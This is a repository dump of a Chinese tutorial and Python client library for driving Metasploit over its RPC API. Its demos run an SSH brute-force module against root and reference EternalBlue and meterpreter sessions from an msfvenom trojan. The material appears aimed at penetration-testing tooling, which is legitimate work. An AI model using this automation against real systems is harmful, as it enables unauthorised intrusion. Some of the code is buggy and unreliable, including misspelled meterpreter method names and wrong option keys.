├── .gitignore
├── .idea
├── misc.xml
├── modules.xml
├── msfapi.iml
└── workspace.xml
├── README.md
├── TestMsfRpcClient.py
├── demo1.py
├── demo2.py
├── msfapi.md
├── pymsfrpc
├── MsfRpcClient.py
└── msfrpc.py
└── testmsfrpc.py
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | */.DS_Store
3 | *.xml
4 | /.idea
5 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/msfapi.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
115 |
116 |
117 |
118 | 2
119 | Http
120 | call
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 | true
142 | DEFINITION_ORDER
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 | AngularJS
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 |
191 |
192 |
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 |
222 |
223 |
224 |
225 |
226 |
227 |
228 |
229 |
230 |
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
279 |
280 |
281 |
282 |
283 |
284 |
285 |
286 |
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
297 |
298 |
299 |
300 |
301 |
302 |
303 |
304 |
305 |
306 |
307 |
308 |
309 |
310 |
311 |
312 |
313 |
314 |
315 |
316 |
317 |
318 |
319 |
320 |
321 |
322 |
323 |
324 |
325 |
326 |
327 |
328 |
329 |
330 |
331 |
332 |
333 | 1539049336340
334 |
335 |
336 | 1539049336340
337 |
338 |
339 |
340 |
341 |
342 |
343 |
344 |
345 |
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
362 |
363 |
364 |
365 |
366 |
367 |
368 |
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 |
378 |
379 |
380 |
381 |
382 |
383 |
384 |
385 |
386 |
387 | file://$PROJECT_DIR$/demo2.py
388 | 55
389 |
390 |
391 |
392 |
393 |
394 |
395 |
396 |
397 |
398 | b'\x93\xaaauth.login\xa3msf\xa3msf'
399 | Python
400 | EXPRESSION
401 |
402 |
403 |
404 |
405 |
406 |
407 |
408 |
409 |
410 |
411 |
412 |
413 |
414 |
415 |
416 |
417 |
418 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
427 |
428 |
429 |
430 |
431 |
432 |
433 |
434 |
435 |
436 |
437 |
438 |
439 |
440 |
441 |
442 |
443 |
444 |
445 |
446 |
447 |
448 |
449 |
450 |
451 |
452 |
453 |
454 |
455 |
456 |
457 |
458 |
459 |
460 |
461 |
462 |
463 |
464 |
465 |
466 |
467 |
468 |
469 |
470 |
471 |
472 |
473 |
474 |
475 |
476 |
477 |
478 |
479 |
480 |
481 |
482 |
483 |
484 |
485 |
486 |
487 |
488 |
489 |
490 |
491 |
492 |
493 |
494 |
495 |
496 |
497 |
498 |
499 |
500 |
501 |
502 |
503 |
504 |
505 |
506 |
507 |
508 |
509 |
510 |
511 |
512 |
513 |
514 |
515 |
516 |
517 |
518 |
519 |
520 |
521 |
522 |
523 |
524 |
525 |
526 |
527 |
528 |
529 |
530 |
531 |
532 |
533 |
534 |
535 |
536 |
537 |
538 |
539 |
540 |
541 |
542 |
543 |
544 |
545 |
546 |
547 |
548 |
549 |
550 |
551 |
552 |
553 |
554 |
555 |
556 |
557 |
558 |
559 |
560 |
561 |
562 |
563 |
564 |
565 |
566 |
567 |
568 |
569 |
570 |
571 |
572 |
573 |
574 |
575 |
576 |
577 |
578 |
579 |
580 |
581 |
582 |
583 |
584 |
585 |
586 |
587 |
588 |
589 |
590 |
591 |
592 |
593 |
594 |
595 |
596 |
597 |
598 |
599 |
600 |
601 |
602 |
603 |
604 |
605 |
606 |
607 |
608 |
609 |
610 |
611 |
612 |
613 |
614 |
615 |
616 |
617 |
618 |
619 |
620 |
621 |
622 |
623 |
624 |
625 |
626 |
627 |
628 |
629 |
630 |
631 |
632 |
633 |
634 |
635 |
636 |
637 |
638 |
639 |
640 |
641 |
642 |
643 |
644 |
645 |
646 |
647 |
648 |
649 |
650 |
651 |
652 |
653 |
654 |
655 |
656 |
657 |
658 |
659 |
660 |
661 |
662 |
663 |
664 |
665 |
666 |
667 |
668 |
669 |
670 |
671 |
672 |
673 |
674 |
675 |
676 |
677 |
678 |
679 |
680 |
681 |
682 |
683 |
684 |
685 |
686 |
687 |
688 |
689 |
690 |
691 |
692 |
693 |
694 |
695 |
696 |
697 |
698 |
699 |
700 |
701 |
702 |
703 |
704 |
705 |
706 |
707 |
708 |
709 |
710 |
711 |
712 |
713 |
714 |
715 |
716 |
717 |
718 |
719 |
720 |
721 |
722 |
723 |
724 |
725 |
726 |
727 |
728 |
729 |
730 |
731 |
732 |
733 |
734 |
735 |
736 |
737 |
738 |
739 |
740 |
741 |
742 |
743 |
744 |
745 |
746 |
747 |
748 |
749 |
750 |
751 |
752 |
753 |
754 |
755 |
756 |
757 |
758 |
759 |
760 |
761 |
762 |
763 |
764 |
765 |
766 |
767 |
768 |
769 |
770 |
771 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Metasploit API使用文档
2 |
3 | Metasploit官方提供了API调用方式,有
4 |
5 | * RPC
6 | * REST
7 |
8 | 两种API调用方式,REST方式只支持专业版使用,这里推荐使用RPC方式调用,即标准API调用。
9 |
10 | ## 使用RPC API调用
11 |
12 | 在通过对Cobalt Strike2.4版本客户端和`armitage`客户端进行反编译,发现其API调用也为RPC调用。可以认为RPC API调用是"稳定",“可靠”的。
13 |
14 | ### RPC API 调用官方文档
15 |
16 | https://metasploit.help.rapid7.com/docs/standard-api-methods-reference
17 |
18 | ## 开启服务端RPC 服务
19 |
20 | 开启服务端API服务有两种方式:
21 |
22 | 1. 通过msfconsole加载msfrpc插件来开启RPC
23 | 2. 通过msfrpcd服务来开启RPC
24 |
25 | `msfconsole`其实也可以理解为`metasploit`的`客户端`,和`msfclient`,`armitage`的功能一致。只是操作方式有所不同。
26 |
27 | ### 通过msfconsole加载RPC
28 |
29 | 进入`msfconsole`之后,运行加载命令
30 |
31 | ```shell
32 | msf5 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf'
33 | [*] MSGRPC Service: 127.0.0.1:55553
34 | [*] MSGRPC Username: msf
35 | [*] MSGRPC Password: msf
36 | [*] Successfully loaded plugin: msgrpc
37 | msf5 >
38 | ```
39 |
40 | 其中Serverhost即运行msf的主机,可以为`127.0.0.1`也可以是`0.0.0.0`区别是前者只能本机连接。
41 |
42 | ### 通过msfrpcd来开启RPC服务
43 |
44 | ```shell
45 | $ msfrpcd -U msf -P msf -S -f
46 | [*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg...
47 | [*] MSGRPC ready at 2018-10-17 11:06:46 +0800.
48 | ```
49 |
50 | 即以用户名和密码分别为`msf`,`msf`,不启用`SSL`来开启服务。`msfrpcd`和`msfconsole`命令一般在同一目录下。如果环境变量设置正确,一般可以直接使用。
51 |
52 | 关于msfrpcd的详细参数如下:
53 |
54 | ```shell
55 | $ ./msfrpcd -h
56 |
57 | Usage: msfrpcd
58 |
59 | OPTIONS:
60 |
61 | -P 设置RPC登录密码
62 | -S 在RPC socket上禁止使用SSL
63 | -U 设置RPC登录用户名
64 | -a 绑定一个IP地址(本机IP地址)
65 | -f 在后台以精灵进程(守护进程)的方式运行、启动
66 | -h 帮助菜单
67 | -n 禁止使用数据库
68 | -p 绑定某个端口,默认为55553
69 | -u 设置Web服务器的URI
70 | ```
71 |
72 | ## MSF RPC 与msgpack
73 |
74 | 与msf rpc api通信需要对通信的内容使用`msgpack`进行序列化,简单来说就是将要发送的数据包转换为二进制形式,以便于传输和格式统一。msgpack序列化之后的数据包支持多种语言,可以在msf服务端由ruby正常解析。
75 |
76 | Python下安装msgpack包:
77 |
78 | ```shell
79 | $ pip install msgpack
80 | ```
81 |
82 | ```python
83 | >>> import msgpack
84 | >>> dic = {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}
85 | >>> res = msgpack.packb(dic)
86 | >>> res
87 | '\x82\xa5token\xda\x00 TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK\xa6result\xa7success'
88 | >>>
89 |
90 | ```
91 |
92 | ## MSF API请求
93 |
94 | 在服务端开启RPC之后,可以使用HTTP协议去访问,会提示404,访问'api'会将文件下载下来。如果发生上述效果,表明服务端开启成功。
95 |
96 | 其实,MSF的RPC调用也利用HTTP协议,需要先连接`RPC socket`然后构造`POST`请求,不同的是,需要指定`Content-type`为`binary/message-pack`,这样客户端才会正确解析包。
97 |
98 | ### 登录认证API调用
99 |
100 | 登录认证时向服务端`POST`序列化发送如下数据包:
101 |
102 | 成功的请求示例
103 |
104 | 客户:
105 |
106 | ```json
107 | [ "auth.login", "MyUserName", "MyPassword"]
108 | ```
109 |
110 | 服务器:
111 |
112 | ```json
113 | { "result" => "success", "token" => "a1a1a1a1a1a…" }
114 | ```
115 |
116 | 这里用一个连接`MSF`服务端并进行登录的简单demo来演示:
117 |
118 | ```python
119 |
120 | # _*_ encoding:utf-8 _*_
121 | # __author__ = "dr0op"
122 | # python3
123 |
124 | import msgpack
125 | import http.client
126 |
127 | HOST="127.0.0.1"
128 | PORT="55553"
129 | headers = {"Content-type" : "binary/message-pack"}
130 |
131 | # 连接MSF RPC Socket
132 | req = http.client.HTTPConnection(HOST, PORT)
133 | options = ["auth.login","msf","msf"]
134 | # 对参数进行序列化(编码)
135 | options = msgpack.packb(options)
136 | # 发送请求,序列化之后的数据包
137 | req.request("POST","/api/1.0",body=options,headers=headers)
138 | # 获取返回
139 | res = req.getresponse().read()
140 | # 对返回进行反序列户(解码)
141 | res = msgpack.unpackb(res)
142 | res = res[b'token'].decode()
143 | print(res)
144 | ```
145 |
146 | 成功执行的结果`res`如下:
147 |
148 | ```json
149 | {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}
150 | ```
151 |
152 | `Token`是一个随机字符串,是登录认证后的标识。
153 |
154 | ## API详解
155 |
156 | 以上使用一个简单的例子理解请求的`API`调用数据包格式及请求方式,其他的`API`请求都是同理的。只是请求的内容有所改变而已。
157 |
158 | 关于常用的API请求和返回总结如下:
159 |
160 | #### 认证:
161 |
162 | 成功的请求示例
163 |
164 | 客户:
165 |
166 | ```json
167 | [ "auth.login", "MyUserName", "MyPassword"]
168 | ```
169 |
170 | 服务器:
171 |
172 | ```json
173 | { "result" => "success", "token" => "a1a1a1a1a1a…" }
174 | ```
175 |
176 | ### 不成功的请求示例
177 |
178 | 客户:
179 |
180 | ```json
181 | [ "auth.login", "MyUserName", "BadPassword"]
182 | ```
183 |
184 | 服务器:
185 |
186 | ```json
187 | {
188 | "error" => true,
189 | "error_class" => "Msf::RPC::Exception",
190 | "error_message" => "Invalid User ID or Password"
191 | }
192 | ```
193 |
194 | 退出同理
195 |
196 |
197 |
198 | ## console.create 创建一个终端
199 |
200 | 在成功登录之后,就可以使用console.create创建一个终端实例。创建过程需要一定的时间,如果上个创建未完成,下一终端创建返回的dict会提示`busy`项为`True`
201 |
202 | 客户:
203 |
204 | ```json
205 | [ "console.create", ""]
206 | ```
207 |
208 | 服务器:
209 |
210 | ```json
211 | {
212 | "id" => "0",
213 | "prompt" => "msf > ",
214 | "busy" => false
215 | }
216 | ```
217 |
218 | ## console.destroy删除一个终端
219 |
220 | 客户:
221 |
222 | ```json
223 | [ "console.destroy", "", "ConsoleID"]
224 | ```
225 |
226 | 服务器:
227 |
228 | ```json
229 | { "result" => "success" }
230 | ```
231 |
232 | ## console.list
233 |
234 | console.list方法将返回所有现有控制台ID,其状态和提示的哈希值。
235 |
236 | 客户:
237 |
238 | ```json
239 | [ "console.list", ""]
240 | ```
241 |
242 | 服务器:
243 |
244 | ```jsno
245 | {
246 | "0" => {
247 | "id" => "0",
248 | "prompt" => "msf exploit(\x01\x02\x01\x02handler\x01\x02) > ",
249 | "busy" => false
250 | },
251 | "1" => {
252 | "id" => "1",
253 | "prompt" => "msf > ",
254 | "busy" => true
255 | }
256 | }
257 | ```
258 |
259 | ## console.write
260 |
261 | console.write方法将数据发送到创建的终端,就想平时操作msfconsole那样,但需要给不同的命令后加上换行。
262 |
263 | 客户:
264 |
265 | ```json
266 | [ "console.write", "", "0", "version\n"]
267 | ```
268 |
269 | 服务器:
270 |
271 | ```json
272 | { "wrote" => 8 }
273 | ```
274 |
275 | ##
276 |
277 | ## console.read
278 |
279 | console.read方法将返回发送到终端命令的执行结果。
280 |
281 | 客户:
282 |
283 | ```json
284 | [ "console.read", "", "0"]
285 | ```
286 |
287 | 服务器:
288 |
289 | ```json
290 | {
291 | "data" => "Framework: 4.0.0-release.14644[..]\n",
292 | "prompt" => "msf > ",
293 | "busy" => false
294 | }
295 | ```
296 |
297 | ## MsfRpcClient
298 |
299 | 再使用一个`MSF RPC` Demo来演示一下:
300 |
301 | ```python
302 | # _*_ encoding:utf-8 _*_
303 | # __author__ = "dr0op"
304 | # python3
305 | import msgpack
306 | import time
307 | import http.client
308 |
309 | HOST="127.0.0.1"
310 | PORT="55553"
311 |
312 | class Msfrpc:
313 |
314 | class MsfError(Exception):
315 | """
316 | 异常处理函数
317 | """
318 | def __init__(self, msg):
319 | self.msg = msg
320 | def __str__(self):
321 | return repr(self.msg)
322 |
323 | class MsfAuthError(MsfError):
324 | """
325 | 登录异常处理
326 | """
327 | def __init__(self, msg):
328 | self.msg = msg
329 |
330 | def __init__(self, opts=[]):
331 | self.host = HOST
332 | self.port = PORT
333 | self.uri = "/api"
334 | self.ssl = False
335 | self.authenticated = False
336 | self.token = False
337 | self.headers = {"Content-type" : "binary/message-pack"}
338 | if self.ssl:
339 | self.cli = http.client.HTTPConnection(self.host,self.port)
340 | else:
341 | self.cli = http.client.HTTPConnection(self.host, self.port)
342 |
343 | def encode(self, data):
344 | """
345 | 序列化数据(编码)
346 | """
347 | return msgpack.packb(data)
348 |
349 | def decode(self, data):
350 | """
351 | 反序列化数据(解码)
352 | """
353 | return msgpack.unpackb(data)
354 |
355 | def call(self, meth, opts = []):
356 | if meth != "auth.login":
357 | if not self.authenticated:
358 | raise self.MsfAuthError("MsfRPC: Not Authenticated")
359 | if meth != "auth.login":
360 | opts.insert(0,self.token)
361 |
362 | opts.insert(0,meth)
363 | params = self.encode(opts)
364 | # 发送请求包
365 | res = requests.post(self.uri, params,self.headers)
366 | resp = self.cli.getresponse()
367 | # 获取结果并解码
368 | return self.decode(resp.read())
369 |
370 | def login(self, user, password):
371 | """
372 | 登录认证函数
373 | """
374 | ret = self.call('auth.login', [user,password])
375 | if ret.get('result') == 'success':
376 | self.authenticated = True
377 | self.token = ret.get('token')
378 | return True
379 |
380 | else:
381 | raise self.MsfAuthError("MsfRPC: Authentication failed")
382 |
383 |
384 | if __name__ == '__main__':
385 |
386 | # 创建一个新的默认配置的客户端实例
387 | client = Msfrpc({})
388 | # 使用密码abc123登录msf
389 | client.login('msf','msf')
390 | try:
391 | res = client.call('console.create')
392 | console_id = res['id']
393 | except:
394 | print ("Console create failed\r\n")
395 | sys.exit()
396 | # 要发送给终端的命令
397 | cmd = """
398 | use auxiliary/scanner/ssh/ssh_login
399 |
400 | set RHOSTS 127.0.0.1
401 |
402 | set USERNAME root
403 |
404 | set PASS_FILE /tmp/pass.txt
405 |
406 | exploit
407 |
408 | """
409 | client.call('console.write',[console_id,cmd])
410 | time.sleep(1)
411 | while True:
412 | # 发送命令并获取结果
413 | res = client.call('console.read',[console_id])
414 | if len(res['data']) > 1:
415 | print (res['data'])
416 | if res['busy'] == True:
417 | time.sleep(1)
418 | continue
419 | break
420 |
421 | client.call('console.destroy',[console_id])
422 |
423 | ```
424 |
425 | 在这个例子中,调用MSF RPC登录获取`Token`之后,创建一个`console`,并发送命令到`console,由msf服务端去执行。执行成功之后会将结果以序列化后的形式返回。反序列化之后成为一个dict,包含了返回后的结果。
426 |
427 | ## 对API进行封装
428 |
429 | 以上是一个基础的MSF API简单调用模块去攻击的demo,但是在应用中,需要对其常见的API调用进行封装,做成一个属于我们自己的`库`,使用时,只需要去调用它即可。
430 |
431 | 简单的封装如下:
432 |
433 | ```python
434 | import msgpack
435 | import http.client as request
436 |
437 |
438 | class AuthError(Exception):
439 | """
440 | 登录认证错误异常处理
441 | """
442 | def __init__(self):
443 | print("登录失败,检查账户密码")
444 |
445 |
446 |
447 | class ConnectionError(Exception):
448 | """
449 | 链接msfrpc错误异常处理
450 | """
451 | def __init__(self):
452 | print("连接失败,服务端或网络问题")
453 |
454 |
455 | class Client(object):
456 | """
457 | MsfRPC Client客户端,发送处理命令行参数
458 | """
459 | def __init__(self,ip,port,user,passwd):
460 | # 属性
461 | self.user = user
462 | self.passwd = passwd
463 | self.server = ip
464 | self.port = port
465 | self.headers = {"Content-Type": "binary/message-pack"}
466 | self.client = request.HTTPConnection(self.server,self.port)
467 | self.auth()
468 |
469 |
470 | #装饰器对属性读写前的处理
471 | @property
472 | def headers(self):
473 | return self._headers
474 |
475 | @headers.setter
476 | def headers(self,value):
477 | self._headers = value
478 |
479 | @property
480 | def options(self):
481 | return self._options
482 |
483 | @options.setter
484 | def options(self,value):
485 | #将数据打包为通用模式
486 | self._options = msgpack.packb(value)
487 |
488 | @property
489 | def token(self):
490 | return self._token
491 |
492 | @token.setter
493 | def token(self,value):
494 | self._token = value
495 |
496 | def auth(self):
497 | """
498 | 登录认证函数
499 | :return 一串随机的token值:
500 | """
501 | print("Attempting to access token")
502 | self.options = ["auth.login",self.user,self.passwd]
503 | try:
504 | self.client.request("POST","/api",body=self.options,headers=self.headers)
505 | except:
506 | ConnectionError()
507 | c = self.client.getresponse()
508 | if c.status != 200:
509 | raise ConnectionError()
510 | else:
511 | res = msgpack.unpackb(c.read())
512 | print(res)
513 | if b'error' not in res.keys() and res[b'result'] == b'success':
514 | self.token = res[b'token']
515 | print("Token recived:> %s",self.token)
516 | else:
517 | raise AuthError()
518 |
519 | def send_command(self,options):
520 | self.options = options
521 | self.client.request("POST","/api",body=self.options,headers=self.headers)
522 | c = self.client.getresponse()
523 | if c.status != 200:
524 | raise ConnectionError()
525 | else:
526 | res = msgpack.unpackb(c.read())
527 | return res
528 |
529 |
530 | def get_version(self):
531 | """
532 | 获取msf和ruby的版本信息
533 | :return ruby 和 msf vresion:
534 | """
535 | res = self.send_command(["core.version",self.token])
536 | return res
537 |
538 | def create_console(self):
539 | """
540 | 创建一个虚拟终端
541 | :return :
542 | """
543 | res = self.send_command(["console.create",self.token])
544 | return res
545 |
546 | def destroy_console(self,console_id):
547 | """
548 | 销毁一个终端
549 | :param console_id 终端id:
550 | :return:
551 | """
552 | #console_id = str(console_id)
553 | res = self.send_command(["console.destroy",self.token,console_id])
554 | return res
555 |
556 | def list_consoles(self):
557 | """
558 | 获取一个已获取的终端列表,【id,prompt,busy】
559 | :return list[id,prompt,busy]:
560 | """
561 | res = self.send_command(["console.list",self.token])
562 | return res
563 |
564 | def write_console(self,console_id,data,process=True):
565 | """
566 | 向终端中写命令
567 | :param console_id: id
568 | :param data:要发送到终端的命令
569 | :param process:
570 | :return:
571 | """
572 | if process == True:
573 | data +="\n"
574 | str(console_id)
575 | res = self.send_command(["console.write",self.token,console_id,data])
576 | return res
577 |
578 | def read_console(self,console_id):
579 | """
580 | 获取发送命令后终端的执行结果
581 | :param console_id:
582 | :return:
583 | """
584 | str(console_id)
585 | res = self.send_command(["console.read",self.token,console_id])
586 | return res
587 |
588 | def list_sessions(self):
589 | """
590 | 列出所有session信息
591 | :return:
592 | """
593 | res = self.send_command(["session.list",self.token])
594 | return res
595 |
596 | def stop_session(self,ses_id):
597 | """
598 | 停止一个session
599 | :param ses_id:
600 | :return:
601 | """
602 | str(ses_id)
603 | res = self.send_command(["session.stop",self.token,ses_id])
604 | return res
605 |
606 | def read_shell(self,ses_id,read_ptr=0):
607 | """
608 | 获取session执行shell信息
609 | :param ses_id:
610 | :param read_ptr:
611 | :return:
612 | """
613 | str(ses_id)
614 | res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr])
615 | return res
616 |
617 | def write_shell(self,ses_id,data,process=True):
618 | """
619 | 向一个shell发送命令
620 | :param ses_id:
621 | :param data:
622 | :param process:
623 | :return:
624 | """
625 | if process == True:
626 | data += "\n"
627 | str(ses_id)
628 | res = self.send_command(["session.shell_write",self.token,ses_id,data])
629 | return res
630 |
631 | def write_meterpreter(self,ses_id,data):
632 | """
633 | 向meterpreter发送命令
634 | :param ses_id:
635 | :param data:
636 | :return:
637 | """
638 | str(ses_id)
639 | res = self.send_command(["session.meterperter_write",self.token,ses_id,data])
640 | return res
641 |
642 | def read_meterpreter(self,ses_id):
643 | """
644 | 读取meterpreter信息
645 | :param ses_id:
646 | :return:
647 | """
648 | str(ses_id)
649 | res = self.send_command(["session.meterperter_read",self.token,ses_id])
650 | return res
651 |
652 | def run_module(self,_type,name,HOST,PORT,payload=False):
653 | """
654 | 执行模块
655 | :param _type:
656 | :param name:
657 | :param HOST:
658 | :param PORT:
659 | :param payload:
660 | :return:
661 | """
662 | if payload != False:
663 | d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}]
664 | else:
665 | d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}]
666 | res = self.send_command(d)
667 | return res
668 |
669 |
670 | # if __name__ == "__main__":
671 | # auth = Client("127.0.0.1","msf","yFdkc6fB")
672 | # print(auth.get_version())
673 | # print(auth.list_consoles())
674 | # print(auth.create_console())
675 | # print(auth.read_console(1))
676 | # print(auth.write_console(1,"ls"))
677 | # print(auth.destroy_console(1))
678 | # print(auth.list_sessions())
679 | # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1"))
680 |
681 | ```
682 |
683 | 使用这个库去调用攻击模块:
684 |
685 | ```python
686 | # _*_ encoding:utf-8 _*_
687 | # __author__ = "dr0op"
688 |
689 | from pymsfrpc import msfrpc
690 | import time
691 |
692 | ip = "10.10.11.180"
693 | port = "55553"
694 | user = "msf"
695 | passwd = "msf"
696 | c = msfrpc.Client(ip,port,user,passwd)
697 |
698 | console_id = c.create_console().get(b'id')
699 | cmd = """
700 | use auxiliary/scanner/ssh/ssh_login
701 |
702 | set RHOSTS 127.0.0.1
703 |
704 | set USERNAME root
705 |
706 | set PASS_FILE /tmp/pass.txt
707 |
708 | exploit
709 | """
710 | res = c.get_version()
711 | resp = c.write_console(console_id,cmd)
712 | time.sleep(1)
713 | while True:
714 | res = c.read_console(console_id)
715 | if res[b'busy'] == True:
716 | time.sleep(1)
717 | continue
718 | elif res[b'busy'] == False:
719 | print(res[b'data'].decode())
720 | break
721 | c.destroy_console(console_id)
722 | ```
723 |
724 | 以上封装改自github开源代码msf-autopwn
725 |
726 | https://github.com/DanMcInerney/msf-autopwn
727 |
728 | 有所改动。
729 |
730 | ## 更全面的封装
731 |
732 | 更全面的封装可参考
733 |
734 | https://github.com/isaudits/msfrpc_console/blob/master/modules/pymetasploit/src/metasploit/msfrpc.py
735 |
736 | 要在较成熟系统上使用可参考,使用GPL0.4开源协议。
737 |
738 | ## 存在的问题及解决方案
739 |
740 | #### 1. 反序列化后的格式问题
741 |
742 | 在`Python3`版本测试过程中,发现对返回数据进行反序列化之后,出现类似:
743 |
744 | ```
745 | {b'result': b'success', b'token': b'TEMPEqU3buWpncDeoBryIWOgKJ9O34cJ'}
746 | ```
747 |
748 | 这种格式的dict,这表示dict的内容即keys和values是`bytes`类型的。这给我们的后续操作带来很大的不便,在判断时需要将其转化为`str`类型。要转化,只需要将其项`decode()`即可。然而,dict并不支持decode,需要遍历其中的项并进行转化。
749 |
750 | 转换方法现提供如下:
751 |
752 | ```Python
753 | def convert(data):
754 | """
755 | 对Bytes类型的dict进行转化,转化为项为Str类型
756 | """
757 | if isinstance(data, bytes): return data.decode('ascii')
758 | if isinstance(data, dict): return dict(map(convert, data.items()))
759 | if isinstance(data, tuple): return map(convert, data)
760 | return data
761 |
762 | ```
763 |
764 | #### 2. meterpreter无法获取session问题
765 |
766 | 使用`msfvenom`生成一个木马并在目标执行。在msf服务端使用MSF RPC进行监听。使用`session.list`成功获取session列表。返回结果如下:
767 |
768 | ```json
769 | {14: {b'type': b'meterpreter', b'tunnel_local': b'10.10.11.180:3355', b'tunnel_peer': b'10.10.11.180:55656', b'via_exploit': b'exploit/multi/handler', b'via_payload': b'payload/windows/meterpreter/reverse_tcp', b'desc': b'Meterpreter', b'info': b'LAPTOP-0IG64IBE\\dr0op @ LAPTOP-0IG64IBE', b'workspace': b'false', b'session_host': b'10.10.11.180', b'session_port': 55656, b'target_host': b'10.10.11.180', b'username': b'dr0op', b'uuid': b'j3oe1mtk', b'exploit_uuid': b'nxyfbzx4', b'routes': b'', b'arch': b'x86', b'platform': b'windows'}}
770 | ```
771 |
772 | session ID为14。
773 |
774 | 成功获取session列表后,就可以向session读写meterpreter命令。
775 |
776 | ```python
777 | c.write_meterpreter(14,'getuid\n')
778 | ```
779 |
780 | ```
781 | c.read_meterpreter(14)
782 | ```
783 |
784 | 然而,MSF RPC端返回如下:
785 |
786 | ```json
787 | write meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_write"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_write"\''}
788 |
789 | ```
790 |
791 | ```python
792 | read meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_read"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_read"\''}
793 | ```
794 |
795 | 暂未找到解决方案。
796 |
797 | # 总结
798 |
799 | 该文档由浅入深地描述了MSF API调用开发的方式及常见问题。并且由于每个人的环境不同,相同的代码在不同的环境中可能无法运行,需自行解决环境及依赖问题。封装方法精力允许的情况下推荐第二种封装方式。更为专业及具有可扩展性。
